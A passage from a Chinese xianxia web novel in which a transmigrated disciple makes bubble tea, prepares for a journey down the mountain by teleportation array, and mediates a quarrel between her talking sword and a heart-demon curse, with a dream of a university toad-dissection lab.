闻越把饼咽了,神色十分无辜:“师父啊。” 江却收回视线:“那倒也是。” 闻越无言片刻,又看向李演:“怎么感觉你比云崽还紧张?” 李演一口饼嚼不了几下就咽了,看着确实比叼着饼就走的关云铮焦虑多了。 “我本来也不担心,”李演实在咽不下了,端过旁边装了水的碗,灌了一口水顺了顺,“谁知道你们一个个都没当回事,我寻思偌大个苍生道总得有个人稍微上点心吧。” 在座三人对视一眼。 连映笑着说:“您早上帮着去取东西的时候,师父给了云崽一个防身的法器。” 李演一脸状况外:“什么样的法器?” 切成块的馅饼被吃完了,闻越只想再吃一块,但眼前只剩下整个的,于是他伸出去的手迟疑一瞬,桌子另一头的江却注意到,放下自己手里的饼,端着那碟起身去切了。 闻越收回手,配合地坐在原地等着,顺带回答了李演的问题:“是个镯子,说实话我还不知道镯子要怎么防身,但既然是师父给的,想来是没什么问题。” 李演复述了一遍:“镯子?” 江却端着碟子回来了,在连映身边坐下,把碟子推到闻越面前。 “您见过?”连映问道。 李演点点头:“见过,他打磨的时候我就在旁边。” 关云铮光速离开又光速回来了,闻言凑在闻越身后:“什么打磨?” 闻越拿起一块馅饼往后递给她:“在说你的镯子。” 关云铮把饼递给楚悯,还没等把手伸到前面,闻越又递过来一块。 她看着闻越后脑勺的眼神带上几分惊讶。 闻越头也不回:“又编排我什么呢云崽?” 关云铮跟楚悯一起在桌子空着的那边坐下:“我没有啊。” 说完无辜地朝闻越眨眨眼。 闻越也只是跟她开玩笑,根本没在意,吃饱了坐在一边看几人聊天。 关云铮夸了一句李演今日做的馅饼,又问道:“师父又上哪儿去了?” 李演不知情,是江却回答的:“和掌门一起去布置明日的阵法了。” 楚悯咀嚼的动作顿了一下。 关云铮困惑:“还有阵法?” 这回连江却都答不上来了:“具体什么用途,我也不清楚。” 可恶的谜语人。 反正明天都得揭晓谜底,她索性暂时放过这个谜题,转而去问李演:“这镯子有名字吗?” 李演看她:“大概没有,你自己起一个?” 关云铮“哦”一声:“要是起了名字,叫它,它会有反应吗?” 李演露出为难的表情:“法器的事,我也不太懂。” 好吧,看来只能等谜语人回来再问了。 **** 饭后关云铮准备洗木薯粉。 得把木薯切碎,挤压出浆,然后沉淀,把沉淀物晾干就成了木薯粉。 步骤看起来很容易,实际上一点也不简单。 从菜地里挖出来的那块木薯长得堪称奇形怪状,光是变换着角度把它刨皮就费了一番工夫,刨完皮关云铮切了一半就累了,最终还是看不下去的李演接过了刀。 “没切过这种形状的菜吧。”李演一边快速给木薯切片一边问道。 那确实没切过,她平时炒的基本都是非常符合刻板印象的蔬菜,茎叶分明或者干脆就是瓜,比这玩意儿可好切多了。 “没切过。”关云铮老实回答。 李演把切好的挪到一边,给木薯翻了个身继续下刀:“切完片之后呢?切碎?” 关云铮点点头,随即意识到李演可能注意不到,又改为开口:“对,切碎。” “切碎之后呢?”李演似乎觉得她这样问一句答一句的模样有些好笑,从刀背上抬起目光,又看了她一眼。 关云铮不明所以:“你都接过去了我做什么?” 李演这回真笑出声了:“你坐着等吃,不然还能怎么?” 行吧。 关云铮美滋滋地搬了条小凳子坐在一边,旁观李演精湛的刀工。 “你师父那镯子,在他手里好些天了,今日总算是给出去了。”李演一边切木薯一边同她说道。 师兄师姐三人帮着楚悯去搬东西了,此刻饭堂里只有关云铮和李演二人,唯一的动静就是刀刃和木薯相接时发出的沙沙声。 “为何?”关云铮不解,因为还有待改进? 李演像是想起了什么特别好笑的事,甚至特地停下了手里的刀:“他觉得那镯子不够好看。” 哈? 这还不好看? 关云铮抬起手腕,跟流光溢彩的镯子大眼瞪……不是,总之瞪了一会儿镯子。 “至于上头的术法,我不精此道一概不知,你要是想知道,还是问你师父为好。” 关云铮点点头,本来也是这个打算。 “不过我觉得他可能没几句实话。”李演又说道。 ……太巧了她也这么想。 “总之,”李演切完片,停了一会儿,又开始切丝,“他本来大概是没打算把那镯子给你的,至少不是今日,明日下山的事,也是临时决定的,要是你对这些事好奇,最好直接问他。” 关云铮在旁边看着,感觉李演说到这好像翻了个隐晦的白眼:“朝安城的公子,花花肠子太多。” **** 章存舒布完阵回来的时候,五个脑袋正围在一起用火烤干那一小堆木薯粉。 那块木薯的个头固然是薯中翘楚,但要洗成木薯粉,分量还是不太够看,关云铮一边不错眼珠地看着它逐渐被烤干变白,一边小心着不在旁边扇动起风浪,省得给本就不多的木薯粉雪上加霜。 章存舒刚一走近,五个脑袋一起抬起来。 关云铮觉得这场景有点好笑,别人不敢高声语是恐惊天上人,他们是恐惊炉边粉。 章存舒不做声地给木薯粉底下又弹了朵小火花。 关云铮有点忧虑地看着那点木薯粉。 不会越烤越少吧……待会儿还能做出珍珠吗…… 楚悯坐在她旁边,安抚地拍了拍她的手背。 有术法产生的火苗在底下烘烤,木薯粉很快就完全干透,呈现出一种灰白的颜色。 关云铮小心地把碟子端起来,又去灶边寻找白糖。 章存舒挑眉,感觉自己的小徒弟有点太重视今日的吃食了。 关云铮开始专心搓珍珠煮奶茶,在炉灶前忙得像个上了发条的小玩具。 等到珍珠奶茶大功告成,章存舒已经把方才的阵法跟在座的每个拆解清楚了,关云铮一回来,对上四张若有所悟的脸。 她这是错过了什么重要的知识点? 算了反正不差这一会儿,讲课老师是自己师父,以后抓着问就是了。 坦白说要不是古代的衣服上不流行绣字,她真的很向往在前面绣个“师父心腹”,背后绣个“大患”。 “木薯太少了,只做出这么一点珍珠,每个人只剩几颗了,大家将就吃,下次我多做点。”关云铮把装着珍珠奶茶的碗放下,又给每个碗里放进一只勺子。 哦对了,是不是还没抓栖霜来试毒来着。 虽然这事好像听着不太厚道。 关云铮正这样想着,一低头,一团白影已经窜到章存舒脚下。 章存舒脸上的神色颇为惋惜,手上舀了一颗珍珠给它。 关云铮:…… 槽多无口。 一时之间不知道是章存舒给自己的师兄宠物“投毒”这件事离谱,还是他脸上真情实感的惋惜神色离谱。 关云铮吐槽无能,看着章存舒脚下那只通体雪白的貂一口吞了那颗黑糖珍珠。 章存舒投喂完就低头喝了口自己碗里的奶茶,其余五人默默看他。 敢情只是走过场是吧?! 栖霜吃完黑糖珍珠,敷衍地蹭了一下章存舒的衣摆,一甩尾巴走了。 彳亍。 看来是没毒。 关云铮低头喝茶之前又嘱咐了句:“当心烫,别把珍珠一口吞了。” 旁边的闻越发出惊天动地的呛咳声。 ……还是说晚了—— 作者有话说:差不多改善完饮食和住宿环境了,接下来应该不太会着墨写这俩了,默认维持这种水平的生活() 评论摩多摩多[撒花] 第34章 楚悯的行李还没完全收拾好, 关云铮也还没看过她将来这一年在归墟要住的院子,于是两人喝完奶茶就拉着手去楚悯的新院子了,把碗留给还坐在那的师门各位。 闻越早就喝完了, 没跟上关云铮她们纯粹是觉得小女孩们要说悄悄话, 收拾房间的话他一个男人也不便凑过去看,只能百无聊赖地坐在原地。 章存舒喝完最后一点奶茶, 问他:“你想下山吗?” 闻越正心不在焉地让眼神四处打转, 闻言没有第一时间反应过来,愣了一下才说:“我也能去?” 章存舒放下碗:“为何不能?” 按照一年前闻越的性子,话说到这个份上,他一定会迫不及待地同意,然后跑回去收拾下山要带的东西。 因为他一直很想拥有一把属于自己的剑。 ——虽然他偶尔抱怨仙盟一群老古板只知道尊崇剑道,但可能是他骨子里也有点刻板守旧, 加上身边人的武器几乎都是剑,他有很长一段时间都是这么想的。 但撞了几次南墙之后, 他就想,不要剑也行, 别的武器也行, 至少让他看到一点能找到趁手武器的苗头。 他就像是种不出东西的沙地,不管浇多少水,补多少肥, 那些努力都会从沙子的间隙里流走, 最后沙地上一点“苗头”也看不到。 章存舒落在他身上的目光很温和,没有催促,也没有质疑,哪怕他已经沉默得有些久了。 闻越捏着碗沿转了一下面前的空碗:“明日就不去了。” 章存舒似乎并不意外:“为何?” 闻越看着碗底那点褐色的茶渍:“或许是机缘未至,我……想再等等。” 章存舒没说话。 江却把几人喝完的碗收起来:“若是机缘已至, 错过了,怎么办?” 闻越从茶碗上抬起视线,脸上又是那种“死猪不怕开水烫”的笑容:“会错过的就不是我的机缘。” 章存舒笑了声:“那就不去吧。” 连映没参与三人的对话,只在自己起身时在闻越后脑勺上兜了一下。 她不常做这个动作,闻越被摸得愣了一会儿,回头看时连映已经和江却一起捧着碗,走到饭堂另一边了。 章存舒正打算起身离开,闻越忽然想起什么,看向他:“云崽是不是还没有乾坤袋?”下山三天,总不能什么都装进包袱,有个乾坤袋就能少许多负担了。 他师父停下脚步,似乎若有所思:“我晚些给她。” 闻越不明所以,今日都快过完了,而且云崽还忙着跟朋友说悄悄话呢,再晚得到什么时候去?怎么感觉他师父一点也不着急? 要不他去云崽小院给一个得了,反正他有好几个。 章存舒像是看穿了他在想些什么,本来都快迈开脚步了,再度停下:“这么闲,不如明日起去给褚先生打扫藏书阁?” 闻越“噌”一下从桌边站起来,被桌腿狠狠磕了一下膝盖,顾不上揉腿,飞也似的跑了:“我去练功了!” 章存舒失笑,朝另一边的两个徒弟走过去。 奶茶渍比茶渍方便清洗得多,只用清水冲了一遍就看不出什么痕迹了,只不过可能是水牛乳的原因,摸起来有点滑腻的手感。 江却和连映正凑一起洗碗,章存舒晃悠到两人身后:“明日云崽下山,你们担不担心?” 连映头也没回:“我倒想问你,揣着忧虑装心宽。” 章存舒挑眉,走到旁边往水缸沿一靠,没个正形地继续说道:“这么明显?我觉着装得还挺像那么回事的。” 江却侧眸看他:“师父为何会选中云铮?我还以为……” 章存舒手欠似的把手悬在水缸上方,操控着缸里的水打起漩涡:“还以为我收了闻越当徒弟后,就不想再收徒弟了?” 他叹了一口沧桑的气,自问自答:“我也以为,要是再来一个闻越这样的,我得短寿十年。” 连映被逗笑:“倒是不至于。”虽然闻越确实对修道不十分上心,但调皮捣蛋的次数其实不多,只不过江却和连映都太过让人省心了,故而看向闻越时总是颇觉辣眼。 但这倒也不能怪罪于闻越,毕竟章存舒会收闻越为徒也有彼时鬼迷心窍的原因,认为这个年纪的孩子总不至于太过耗费心力,欣然同意了他入门。 人总得为一时的鬼迷心窍付出代价的。 “云崽很特别。”章存舒收了脸上那点玩笑的神色,几乎有些正色道,“她的特别不在于天赋异禀,也不在于根骨清奇,是种跟这些都没关系的特别。” 他像是有点词穷,停顿了好一会儿才接着说:“上次她去剑冢后,我去找了一次你们戚师叔。” 连映和江却的动作齐齐一顿。 章存舒装作没注意到他俩的动作:“我问她,云崽有什么地方值得她回应请求,为什么她愿意让云崽借着和她的临时感应进入剑冢,甚至进入霰照目睹她的记忆。” 不是觉得关云铮没有资格,是因为他也想不明白。 或者应该说,他从见到关云铮的第一眼就知道她不同寻常,但他不明白除了那些之外,还有些什么。 她“身上”有生与死紧密缠绕的气息,“魂灵”上有不属于此世的烙印。 然而这副模样之下,她跟他设想的却完全不同。 她好像愿意接受一切,但她始终拒绝顺从。 他以为心魔引会是她引气入体的关键,毕竟对于尚未引气入体的修道者而言,心魔引是一种能赐予力量的诅咒。 结果心魔引似乎没有对她造成任何可见的影响,她能顺利引气入体这件事,甚至没法找到一个像样的解释。 章存舒探查完她识海的那一瞬间,甚至冒出个荒诞的念头:倘若她表露出一丝一毫愿意顺从的端倪,这个世界就会毫不犹豫地把她想要的送给她。 那么引气入体会是她的顺从吗?她又顺从了什么? 那天章存舒在不熄鼎边枯坐半晌,所有想问的问题在心里转了一圈,又沉甸甸地落进五脏六腑里,最终一句也没问出口。 走时他还为自己开脱:“还没学会扶乩,之后再来看你。” 也不知道师兄那天登上来去峰的时候,师妹跟他说了些什么。 “师父。” 茶碗碰到一起的声音。 章存舒回过神,水缸里的漩涡早就停了,江却和连映一前一后地站着,用相似的神情望着他,一如许多年以前,他在流离失所之地捡到他们时。 “我去把乾坤袋给云崽。”他收回所有杂乱的思绪,对着两个靠谱的徒弟点点头,转身出去了。 **** “所以说是传送阵法?”关云铮坐在床边帮楚悯叠衣服。 楚悯点点头:“章先生方才说的,大概是在心里想一个要去的地方,然后阵法就会送你抵达。” 哦,飞路粉。 关云铮深以为然地点点头,想起这玩意儿的西方bug,问道:“那要是念头模糊,会不会传错地方?” 楚悯把下山要穿的衣服挑拣出来:“传送阵法确实有这个弊端,不过章先生方才特意解释过,这个传送阵法增加了几层保障,其中之一便是念头模糊时不进行传送。” 那岂不是一直在那干站着?胡思乱想心智不坚定什么的一眼就看出来了,怪尴尬的哈。 楚悯又补充道:“除此之外,每个学生身上都会携带一枚传送符,遇到危险时撕毁或是烧毁,就会直接传送回归墟。” 关云铮挑眉:“那确实算是稳妥,但若是传送符不慎撕毁呢?” 毕竟带在身上的纸片很容易变形扭曲什么的,问就是总忘记在把衣服丢洗衣机之前掏出兜里的纸巾。 楚悯收拾好了,把东西仔细地收进乾坤袋:“说是能辨认气息,若是被恶意撕毁,也会直接触发传送。”??这么牛? 关云铮震惊后仰:“恶意也能被一张符纸感知吗?这符纸用什么画的?”还是说跟制作原材料没关系,单纯是制作符咒的人法力高强。 章存舒和步雁山画的?章存舒整天行踪不定,偷摸着画符咒也就算了,步雁山最近几乎每天都有课,他到底哪来这么多空余时间,晚上不睡了? 好吧,也可能强者画符咒跟她有着天壤之别,毕竟她画一张就得筋疲力尽。 楚悯摇摇头,对她问的问题做出回答:“这一点章先生没提到,不如待会儿问问他?” 关云铮点头:“不过我得先去收拾东西,待会儿去找他,顺便跟他打个招呼。” “打个招呼?”楚悯疑惑,随即想起来什么,“你是说今晚去剑冢的事?” 关云铮拉着她起身:“对,现在既然你收拾完了,我就把你拐我院里去坐秋千了。” 楚悯乖乖被她拉着:“你想好明日去哪里了吗?” 关云铮回头看她:“怎么了?你已经有想法了?我还没想呢,明日再说。” 楚悯摇摇头:“只是觉得我们大概不在同一个地方。” 关云铮若有所思:“阵法大概也不会让身处同处的人太快遇到吧。” 要是愿意让他们扎堆,也不会搞传送阵法这一套了,不就是想让他们“自己”去找武器吗? 也不知道是谁想的主意。 是章存舒?他的目的是什么? 他这么突然地做决定,没有一点铺垫,掌门还跟他一起布置阵法,看来是完全不反对的了。 等等。 关云铮无端想到,有没有可能是女帝说的那个姓严的,就快来“观摩”了? 章存舒有可能是为了避开这个人,才让归墟的学生都下山吗? 她以为章存舒当时说出那句话是根本不在意那人的意思,原来根本与这事不相关吗? 还是说,这就是他给那个姓严的准备的下马威? 那确实还挺防不胜防的。 来观摩学生学习,结果学生没了。 她简直有点迫不及待地想知道那时姓严的脸色如何了,一定很精彩。 关云铮缺德地想着,穿过连廊,把楚悯安置在秋千上,以楚悯“今日搬寝舍劳累”为由拒绝了楚悯提出的帮忙请求,转身进房中收拾起自己的行李。 **** “这就是乾坤袋?”关云铮收拾完行李章存舒就来了,像是掐准了时候,一来就从怀里拿出个外观看起来平平无奇的布袋子。 没有特殊的线,没有特殊的布料,看起来甚至像个只有巴掌大的麻袋。 关云铮为自己诡异的联想沉默了一下:“能放多少东西?” 章存舒不知道从哪里又拎来一壶茶,给在座的两个姑娘各倒了一盏,端着自己那盏茶慢悠悠道:“这得看里面的扩展术阵有多大。” 关云铮“喔”一声,拿起乾坤袋摇了摇:“那这里头术阵多大?” 章存舒神色平静:“装下十把剑不在话下。” 关云铮手腕一哆嗦,差点把布袋子丢茶盏里。 她是下山去找趁手的武器,谁家好人一趁趁十把啊?哪吒都没这么多胳膊!她又不是要去进货后倒卖! “你给我设这么大的术阵做什么?我又用不上。”关云铮放下乾坤袋,“乾坤袋的重量会受里面东西多少的影响吗?” 章存舒放下茶盏,品了品茶香,满意道:“常理而言,不会。因为乾坤袋里放的一般都是有形之物,有形之物在扩展术阵中无重量,但你若是放进无形之物,乾坤袋就会把里面所有东西的重量都反映到你身上。” “还能放进无形之物?”关云铮困惑道。 章存舒没回答,反而看向楚悯:“小悯来给我们说说?” 楚悯放下茶盏:“依附于魂魄的东西是可以被收集的,可被收集便可被放入乾坤袋。” 关云铮本打算端起茶盏的手一顿,想起原身还没调查清楚的死因。 “记忆,甚至神识,都依附于魂魄,故而皆可被放入,只是,”楚悯顿了顿,“这些无形之物一旦离开持有魂魄的躯体,都会逐渐消散,除非用特殊的办法储存。” 关云铮喝不下手边的茶了。原身的死是永远也得不到妥善解决的问题,比她自己的家庭更加如影随形,每当她得意忘形,就会跳出来给她这个忘恩负义的人一巴掌,提醒她这具身体的主人死不瞑目,魂魄仍然无法得到安息。 她掩饰般地端起茶盏抿了一口,开玩笑似的接话:“这话的走向怪危险的,接下来是不是名门正派不让说的话题了?” 楚悯一愣,被她刻意为之的语气逗笑:“确乎如此。” 只是不让说,这些事情就能不发生了吗? 关云铮半口茶汤咽下许久,终于在这句玩笑话后品出味道来:是苍韫桢送给他们的正山小种。 她好像知道明日要去哪里了—— 作者有话说:键盘冒火ing 每天都得被卡一会儿审核,已没脾气[化了] 第35章 一个下午的时间转瞬即逝, 连映来小院喊三人吃饭的时候,关云铮还在思考该怎么跟章存舒开口。 毕竟剑冢好像是她师门——甚至她师父的师门——共同的禁忌词。 闻越找过很多次都没有找到剑冢的入口,凌风起则是强行闯入都无法进入, 至于章存舒——如果不是她上次出的岔子, 他大概也不会主动往剑冢里钻。 这样显得她这样三天两头往那边跑的,不仅胆大包天还没心没肺。 轻描淡写地对待别人的痛点, 有时候是很残忍的举动。 就像某个人节俭惯了, 哪怕只是出门几分钟都会关掉家里的电,同行的人却在这个时候随口说了句:“我不差这点电,不关了。” 同行人可能根本没觉得自己有嘲讽的意思,但已经在节俭的那个人痛点上踩了好几脚,不痛才不正常。 当然,痛点被踩的次数多了, 人总会麻木的,但关云铮并不想试探人们是否已然麻木, 也不想成为那个踩痛点的人,故而在去往饭堂的路上紧缩眉头, 苦于不知如何开口。 她也可以说是当时答应了摇羽, 后来出于种种原因没能兑现,所以今晚要去履约。 但当时会单方面许下承诺也是因为她贸然行动,要不是江却及时赶到她也差点没了。 …… 就挺自闭的, 越说越理亏。 章存舒跟会读心一样, 跟着她落后几步,声音很轻,但带着几分戏谑:“发什么愁呢?” 关云铮没注意到他的突然靠近,吓了一跳,差点跳起来:“啊, 我,那什么……” 章存舒托了一把她的手肘:“哪什么?” 关云铮对上章存舒看向她的视线。 她其实一直有个缺点,就是听人说话的时候不太敢看人的眼睛,好像那会让她浑身不自在一样。要是距离近得不得不看,她就会让自己的视线停留在对方脸上的某个位置,但依旧会回避目光相触。 这也就导致她对身边所有人的长相都只有一个八分准确的认知,她能通过背影认出、通过声音听出身边的人,但很多时候都不知道他们的某些面部细节长什么样子。 章存舒低头看她时她正好仓皇抬头,猝不及防撞进对方眼睛,才发现她师父长了双……相当多情的眼睛。 倒不是那种多情……关云铮又在心里给自己叠甲。 章存舒双眼的多情更像是一种收放自如的能力,平时混不正经的时候没觉得他眼睛多起眼,偶尔动用起这种“能力”来,那双眼就显得格外的……震慑人心。 此刻甚至有点像她在霰照里看见的戚寻月的双眼了。 关云铮竭力自然地转开视线,总感觉自己被看穿了:“我先前下山,就是遇见邪修那次,跟摇羽做过一个约定。” 章存舒没立马收回视线,看了会儿他小徒弟脑袋顶的发旋:“答应它要去剑冢?” 关云铮一脸惊恐地看向他,随即脸上又出现“是你说的啊,可不是我说的”之类的神情。 章存舒被逗笑:“你怕我触景伤情?” 关云铮一眼又一眼地瞟他,光偷看,也不说话,意思很明显:那不然? 章存舒摆摆手:“想去就去,不必顾忌我,正好明日下山,跟摇羽聊聊,没准行程还能因为它的配合顺利些。” 好冠冕堂……不是,正直的理由,她刚才怎么没想到。 “你知道苍韫桢为什么觉得你有意思吗?”说话间四人已经抵达饭堂,章存舒说悄悄话似的,低头在关云铮耳边说道。 关云铮一头雾水,不明白为什么这时候突然提起女帝来。 虽然她当时也确实对女帝说她很有意思的言论一头雾水。 章存舒笑着揉了一把她的脑袋:“因为你根本就不怕她,倒是会装乖。” 关云铮顶着几根翘起来的头发站在原地:? 她是被骂了吧,是吧? **** 总之晚饭后关云铮钻进房间,把快积灰的摇羽扒出来,拎着往剑冢去了。 楚悯和她一起回的小院,在她身后跟了几步:“云崽,我能一起去吗?” 关云铮已经在给待会儿可能会爆发的骂战做准备,回头时脸上气势汹汹的神色都差点没收回去,紧急揉了一把脸:“能,但是我很可能要跟摇羽吵一架。” 主打一个诚恳。 楚悯失笑:“那……我去给你助个阵?” 关云铮郑重点头,走回来拉着楚悯一起往剑冢走。 “其实有件事我一直没告诉你。”快走到菜地时,关云铮忽然来了这么一句。 楚悯和她并排走着,闻言微微侧身过来看她:“什么事?要是不便告诉我,可以不说的。” 客观上来说,好像是不太应该告诉他人,但主观上,她觉得小悯不是“他人”。 “我之前,为了家里的事情下山那次,其实遇到了邪修。”关云铮给自己的坦白找了个相对和缓的开头。 楚悯牵着她的手似乎紧了一下:“他们对你做了什么?” 关云铮伸出另外一只手摸了一下自己的眉心:“给我种了个心魔引。” 楚悯停下了脚步。 关云铮紧张地跟着停下,感觉楚悯的脸异常的紧绷。 其实真要比较年龄的话,上辈子的她比楚悯要大五六岁了,但可能是在原身的躯体里被当做小女孩对待的时间久了,她的大脑可能也开始习惯把自己当做一个十五岁左右的小女孩了。 所以此刻看到楚悯严肃的脸色,她居然觉得有点紧张。 真新鲜,楚悯这样的要是在21世纪是不是就该叫她小孩姐了? 楚悯似乎在这片刻时间想了许多事,但最后只是看向关云铮,说道:“你师父应该就是因为此事,才决定让我们下山的。” 啊? 等会儿。 意思是那个姓严的能看出她身上有心魔引吗? 关云铮的表情显然说明她想到了什么,于是楚悯一边跟她继续往山里走,一边问道:“章先生之前可曾表露出什么?” 除了当着女帝的面放过狠话,给了她一个防身的手镯,好像什么也没说啊。 她很想努力想出点什么,但她师父是真的谜语人啊? 痛苦面具脸上焊了。 楚悯没再追问,解释自己的猜想:“兄长昨日给我传信,提起了仙盟来访,说这次除了测灵根与天赋外,可能还会动用一些不寻常的手段。” “不寻常的手段?”关云铮脑子里瞬间飞过一大堆修仙文片段,什么监守自盗啊,什么道心有误啊…… 楚悯摇摇头:“仙盟将这次来访的消息瞒得很严,兄长也是昨日才知道。” 提前两天知道,好像也没有瞒得很严嘛? 楚悯的神情似乎停滞了一下,随即在关云铮不太敢相信的目光里,露出个有点心虚的神色:“只要天问愿意,这世上的事很少有能瞒得住他们的。” 哦,又悄咪咪问了是吧。 关云铮感觉自己的语气都有点苦口婆心了:“小悯,你们天问是不是都不忌惮代价的,怎么该不该知道的事都敢问?” 楚悯叹了口气,这次倒是没有回避关云铮谴责的眼神,诚恳地解释道:“天问一派像是身负诅咒,想要‘问’不承受代价,必须要通过修炼增强自己的能力,但想要变强只能不停地‘问’。” 几句话把关云铮都说心梗了,语塞片刻才嘟囔了一句:“这么死循环……” 楚悯再度停下脚步:“是不是到范围了?” 关云铮环顾一圈:“好像是?你怎么什么都知道?” 楚悯立刻投降似的笑着说:“这个是我兄长告诉我的,归墟的剑冢不是秘密。” 关云铮把摇羽从剑鞘中拔出来,不知道此刻向不熄鼎的请求能否得到回应,但还是闭上眼。 引气入体后,不熄鼎回应的感觉很微妙,像是脑海中无形的琴弦被拨动,听不见任何声音,但泛起了一圈足以确认感应成功的涟漪。 然而还没等她靠近即将向她打开的剑冢入口,一个熟悉的、不讨人喜欢的声音在她脑海中响起来。 她面不改色地往入口走,脑海中那个声音正喋喋不休:“你师父下的封印倒是有几分水平。” 关云铮挑眉,“说”道:“你也不赖,哪怕没什么威胁了但还是能开口,挺身残志坚的。” 她会在来的路上跟楚悯坦白心魔引,就是因为想到了在剑冢这个灵气满溢之地,章存舒的封印可能会松动,毕竟整座山的恒温法阵都没法遍及此处。 现在证明她既低估了章存舒,又高估了心魔引。 这玩意儿之前每次说话时,她眉心都会突突跳动,像细密的针反复地在同一块地方刺戳,但方才开口,关云铮除了脑海里能听到一点声音之外,什么感觉都没有。 心魔引居然也没生气,不知道是不是被“冷落”了几天脾气变好了,闻言只是不太高兴地冷笑了一声,接着说道:“你来剑冢做什么?取剑?” 哦,敢情也听不见她之前说的话,那章存舒的封印确实异常坚固了。 关云铮索性把它的话当“脑旁风”,丢到一边不理了。 不过她想搭理也比较困难,因为同样被冷落了好几天的摇羽开始骂骂咧咧了。 不同于只在她脑海中说话的心魔引,摇羽一开口,楚悯都被吓了一跳。 “我迟早有天被你这个小兔崽子气死!不知天高地厚,别人说话油盐不进,答应了别人的事情也不知道兑现!” 关云铮屏蔽了脑海里同样在骂她的心魔引,开始跟摇羽斗嘴:“我这不是带你来了吗,再说了你也不是人啊。” 人在心虚的时候是这样的,没法对对方的话进行逐一反驳,只好说一些没什么用的车轱辘话,在吵架的过程中,这种驴头不对马嘴、避重就轻的话只有一个效果——激怒对方。 果不其然,摇羽更生气了:“要不是我没有实体,还被你师父困在这把剑里,你信不信我立马钻出来揍你?” 所以说对比产生美这句话还是有道理的,心魔引和摇羽同时骂她的时候,摇羽的语气里只能听出不高兴,甚至还有点恨铁不成钢,但心魔引一听就能感觉到那种毫不遮掩的恶意。 也是沦落到这种地步了,在骂自己的两个东西里挑一个夸赞。 一直以来都坚决抵制烂比烂的关云铮一时之间觉得自己无比凄惨。 摇羽骂她的声音忽然一顿,随后察觉到什么似的问道:“你在走神?” 关云铮下意识回答:“嗯?我没有。” 摇羽的声音充满了狐疑:“这里还有什么声音吗?” 关云铮脑海中心魔引的声音停顿了一下。 楚悯的视线也转了过来。 她非常罕见地打了个磕巴:“那什么,心魔引。” 摇羽的声音简直炸耳朵:“你说什么?!” **** 关云铮做梦也想不到自己有朝一日会变成骂战的中间商。 心魔引一在她脑海里说点什么,摇羽就能用一种关云铮理解不了的方式察觉到,但它又听不到心魔引具体说了什么,关云铮就得被它逼着给它转述,然后摇羽就会毫不留情地喷回去,俩东西隔着关云铮的脑壳,居然吵得有来有回。 此情此景多么适合愤怒地来上一句“我可不是你们的猫头鹰”啊。 不知道吵了几个来回,关云铮都转述累了的时候,心魔引终于没动静了,也不知道是不是被摇羽的超强攻击性给震慑了,总之关云铮嗡嗡作响的脑袋终于得到了安宁,她不由得长叹了一口气。 摇羽停下话音:“它不说了?” 关云铮疲惫地“嗯”一声:“你蹭够灵气了吗?蹭够就回去了,明日还得下山。” 摇羽哼了一声:“回去呗,都给我骂累了。” 关云铮拎着剑就往回走:“原来您知道累啊。” 摇羽的语气听着很悠闲自在,从杀气满满到漫不经心简直是无缝切换:“尚可,也没那么累,只是我觉得你的灵气应该也够我用了,以后大概也不用来剑冢蹭了。” 关云铮无言低头,看了它一眼:“我还没学会自如掌控灵气呢,你对我倒是有信心。” 摇羽老神在在的:“你对我不也挺放心吗,还打算带我下山。”。也是。 也不知道这份对彼此的信心是从何而来的。 一人一剑不约而同地陷入沉默,一旁的楚悯忍不住笑出声来。 关云铮实在是有点被吵得精神衰弱了,听见动静慢半拍地转头。 楚悯却没看她,只是抬头望了望月亮:“此次下山应该会很有意思吧。” 说话间两人已经走出了剑冢的范围,关云铮决定以后非必要绝对不来剑冢了,心魔引在自己脑子里嘚吧嘚的还能忍受,跟摇羽吵架就太耗人了,她都怕明早起不来。 “希望吧,我明早要是起不来,得麻烦你来叫我了。”关云铮哀怨地叹了口气。 摇羽灵气充沛,在剑里咋呼道:“你起不来?那交给我啊,我保证把你叫醒。” 关云铮“刷啦”一声把剑插回剑鞘:“求你闭嘴。”—— 作者有话说:明天要上班了呃啊啊啊啊啊啊(扭曲) 第36章 和楚悯在小院门口道别, 关云铮洗漱过后困意稍退,打着哈欠把自己丢上床榻,闭上眼的一瞬间感觉太阳穴都在突突跳动。 过去和朋友你一言我一语地痛斥渣男也没这么累, 足以见得搬运吵架比亲自吵架累得多了, 关云铮感觉自己的脑仁就像是被打进锅里的鸡蛋液,在一句接一句的骂声里逐渐被炒散了。 关云铮疲惫地数着太阳穴的跳动, 神志逐渐涣散, 被卷土重来的困意紧密包裹,坠入梦境中。 …… 蟾蜍在戴着橡胶手套的手中发出奇怪的“咕叽”声,像是带着黏液的皮肤不停挤动发出来的,辣眼的画面配上这音效无端掉san,像什么主打克苏鲁元素的恐怖游戏。 关云铮拿着锥子无从下手,身边的室友和她一样露出忍耐到崩溃边缘的表情, 嘴上吐槽:“所以她到底是怎么做到徒手拿蟾蜍的?” 关云铮深以为然地点头:“蟾蜍不是有毒吗?她怎么敢的啊。” 生理实验课老师恐怖如斯。 另外一个室友已经果断地把蟾蜍处死了,那可怜的两栖动物在她手心徒劳地蹬腿, 发出痛苦的“咕叽”声,随着脊椎被彻底破坏, 终于疲累地不动了。 关云铮没抖, 但跟旁边的室友一起沉默了好几秒:“死状有点凄惨。” 把蟾蜍利落处死的室友已经开始剪那可怜动物的脑袋了,闻言看她们一眼,叹了口气说道:“你们再不开始做实验, 到时候期末抽到这个实验都做不出满分, 才是真的死状凄惨。” 关云铮这下是真的痛苦面具了:“你别咒我,我不想挂科。” 语重心长的室友顺利剪掉了蟾蜍的脑袋,开始一脸狰狞地给剩下的部分剥皮:“到时候期末这个肯定是最简单的,而且肯定也是最容易抽到的。” 关云铮手上锥子的行进过程遭到了阻碍,她难以控制地跟着露出狰狞的神情, 一边用力一边说道:“真的假的?都这么容易的话实验考试岂不是没难度?” 靠谱室友已经准备打开电脑接软件测生物电信号了,闻言回头看她一眼:“你没看后面的实验吗?用蟾蜍的和用家兔的差不多是五五开,但是蟾蜍的成本比家兔低很多,到时候考试肯定不会拿那么多家兔出来,而且家兔实验难度大,考试肯定是两人一组。” 差生关云铮已经听得晕头转向了,连手里的蟾蜍什么时候驾鹤西去了都不知道:“你已经预习到这种程度了?” 靠谱室友打开电脑软件,给她一个高深莫测的眼神:“没有,我只是刚好认识一个大二的学姐,刚才的话照搬的。” …… 关云铮这一夜睡得不太沉,因此梦到这里的时候还在迷迷糊糊地想:最后她们寝室一个和别人合作去做的家兔实验,剩下三个都抽到了蟾蜍,而且包括她在内,两个都是最简单的生物电信号检测,但她却没能拿到满分。 因为过去的每一场实验她都忘了关注电脑软件的操作,所以在实验考试时也一头雾水。 